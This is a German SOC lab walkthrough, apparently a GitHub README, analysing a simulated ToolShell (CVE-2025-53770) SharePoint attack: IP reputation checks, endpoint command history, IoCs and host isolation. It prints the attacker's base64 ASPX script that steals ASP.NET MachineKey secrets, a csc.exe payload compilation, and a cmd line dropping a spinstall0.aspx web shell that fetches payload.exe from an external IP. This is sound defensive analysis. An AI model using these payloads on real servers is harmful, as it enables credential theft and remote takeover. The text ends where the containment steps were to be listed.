michaael01/letsdefend--soc-342-cve-2025-53770-sharepoint-exploit-toolshellDetaillierter Walkthrough der Ausnutzung von CVE-2025-53770 (ToolShell) SharePoint Zero-Day, einschließlich RCE-Analyse, MachineKey-Exfiltration, Payload-Kompilierung, Web-Shell-Bereitstellung und Incident-Response-Eindämmungsschritte.
Ich habe mich im LetsDefend-Labor mit einem SharePoint-Zero-Day namens ToolShell (CVE-2025-53770) befasst. Ich habe einen realen Zero-Day-Angriff nachgestellt, bei dem eine bösartige POST-Anfrage die Authentifizierung umging, PowerShell ausführte, um MachineKeySection-Schlüssel zu stehlen, payload.exe kompilierte und eine Webshell (spinstall0.aspx) ablegte. Ich habe alles protokolliert, das Verhalten analysiert und den Host isoliert. Dieses README behandelt die Angriffsprozesse, die Schritte zur Eindämmung des Angriffs und die gewonnenen Erkenntnisse.
Dies ist eine kritische Warnung und verdächtige Aktivität, die auf die ToolPane.aspx von MS SharePoint mit großem Payload und gespooftem Referer abzielte. Der CVE-Kontext ist mit CVE-2025-53770 verknüpft. Es handelt sich um eine kritische SharePoint-Schwachstelle, die über eine speziell präparierte POST-Anfrage ausgenutzt wird, die nicht authentifizierten Angreifern Zugriff ermöglichte. Die erfolgreiche Ausnutzung führte zur Remote-Codeausführung (RCE) auf dem Server. Ich habe dies als aktiv und mit hoher Dringlichkeit behandelt und gehe von einer möglichen erfolgreichen Kompromittierung aus, bis das Gegenteil bewiesen ist.
Microsoft SharePoint ist eine Plattform für die Zusammenarbeit in Unternehmen und die Dokumentenverwaltung — im Wesentlichen ein sicherer, organisierter Knotenpunkt für Dateien, Workflows und interne Webanwendungen.
Ein kritischer Zero-Day in Microsoft SharePoint Server, der es Angreifern ermöglicht, ohne Authentifizierung Code aus der Ferne auszuführen. Er missbraucht unsichere Deserialisierung und wird oft mit anderen SharePoint-Schwachstellen (CVE-2025-49704, CVE-2025-49706) für die vollständige Übernahme des Systems kombiniert. Bewertet mit CVSS 9.8 (Kritisch) und aktiv in freier Wildbahn ausgenutzt.
Ich habe die IP-Adresse des Absenders (Quell-IP-Adresse) mit VirusTotal analysiert.
Quell-IP-Adresse: 107.191.58.76
Daraus kann ich ersehen, dass 15/95 Sicherheitsanbieter diese IP-Adresse als bösartig eingestuft haben, was bereits viel über die IP aussagt.
Jetzt muss ich den Standort der IP ermitteln. Dies wurde mit Hilfe von AbuseIPDB durchgeführt, und wie unten gezeigt, ist die IP bekannt für Hacking, Brute-Force, Web-App-Angriffe, Portscans und DNS-Vergiftung.
Als SOC-Analyst, der diesen Fall bearbeitet, ist einer der wichtigsten Schritte die Endpunkt-Analyse. Ich habe auf der Endpoint-Security nach dem Host mit dem Namen "SharePoint01" gesucht, da die IP für Hacking bekannt ist, für weitere Analysen.
Nachdem ich den Host gefunden hatte, habe ich den Terminalverlauf aufgerufen, um die Befehlszeile zu prüfen.
PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyksDQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
Aufgrund des Payloads habe ich den Base64-Decoder verwendet, um den Befehl zu dekodieren, wie unten gezeigt:
Der Benutzer startete PowerShell aus dem Systemverzeichnis "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" und mit codierten Befehlen ein serverseitiges C#-Skript für ASP.NET.
Der Payload versucht, den ASP.NET-MachineKey des Hosts zu lesen und weiterzugeben — ein Geheimnis, das verwendet werden kann, um ViewState-/Deserialisierungs-Token zu fälschen und Authentifizierungs-Bypass sowie Remote-Codeausführung zu ermöglichen. Dies entspricht dem ToolShell-Ausbeutungsmuster (MachineKey-Missbrauch). Wichtige Indikatoren für eine Kompromittierung (IoCs) im Befehl unter Verwendung von Base64-Dekodierung und -Kodierung:
Der Angreifer versuchte, auf private Konfiguration zuzugreifen, und zielt darauf ab, .NET zu missbrauchen. Aus dem Base64-Decoder können wir System.Web.Configuration.MachineKeySection und GetApplicationConfig ersehen: MachineKeySection enthält:
Diese Schlüssel sind Geheimnisse, die zum Schutz von ViewState und Formularauthentifizierung verwendet werden. Ihr Abruf ist ein direkter Versuch, Material zu erlangen, das das Fälschen/Validieren serialisierter ASP.NET-Payloads ermöglicht → direkte Voraussetzung für Deserialisierungs-basierte RCE.
Nur DREI Sekunden später, wie oben gezeigt, sendete der Angreifer einen weiteren Befehl:
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs.
Nur ZWEI Sekunden später, wie oben gezeigt, sendete der Angreifer einen weiteren Befehl:
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs."C:\Windows\System32\cmd.exe" /c echo <form runat="server"> <object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Redirect"> <param name="Button" value="Test"> <param name="Url" value="http://107.191.58.76/payload.exe\"> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx.
Nur FÜNF Sekunden später, wie oben gezeigt, sendete der Angreifer einen weiteren Befehl:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command"[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"
Diese Aktivitäten zeigen ein konsistentes Muster. Ich behandle dies als Kompromittierung mit hoher Konfidenz und habe sofort forensische Artefakte gesammelt.
Nachdem ich alle Befehle und Erkenntnisse gesammelt hatte, habe ich weitere Recherchen in der Threat Intelligence durchgeführt und nach dem Datentyp IP gesucht. Die Datenquelle zeigt OnlyHunt und TAG CVE-2025-53770, und mit Referer: /_layouts/SignOut.aspx für den Untersuchungskanal der Warnungen wird deutlich, dass es sich um ein legitimes SharePoint handelt, das gespooft oder verwendet und später von SharePoint abgemeldet wurde, um den Anschein zu erwecken, dass es von einer normalen SharePoint-Aktion stammte. Zu diesem Zeitpunkt habe ich den Host isoliert.
Datum/Uhrzeit: 2025-07-22 13:07 (Ereignis) Analyst: [IhrName] Fall-ID: SOC342 Host: SharePoint01 Schweregrad: Kritisch
Ich entdeckte am 2025-07-22 um 13:07 einen kritischen Angriffsversuch zur Ausnutzung einer Zero-Day-Schwachstelle namens ToolShell (CVE-2025-53770) auf einem lokalen SharePoint-Server mit dem Hostnamen SharePoint01. Der Angreifer, der von einer bekannten bösartigen IP (107.191.58.76) stammt — der Quelle des POST und des Payload-Hosts — umging die Authentifizierung, um Remote-Code auf dem Server auszuführen. Der Angreifer hat spinstall0.aspx im SharePoint-LAYOUTS-Verzeichnis hochgeladen/erstellt und PowerShell ausgeführt, um ASP.NET-MachineKey-Material zu lesen und einen C#-Payload über csc.exe zu kompilieren. Dadurch konnte er vertrauenswürdige Payloads erstellen. Diese Aktivität ist konsistent mit der Bereitstellung einer Webshell mit spinstall0.aspx in SharePoint, der MachineKey-Exfiltration und der Kompilierung des Payloads auf dem Host — alles Indikatoren mit hoher Konfidenz für eine Kompromittierung.
Nach der Entdeckung der Kompromittierung habe ich in der Analysten-Notiz die folgenden Schritte empfohlen:
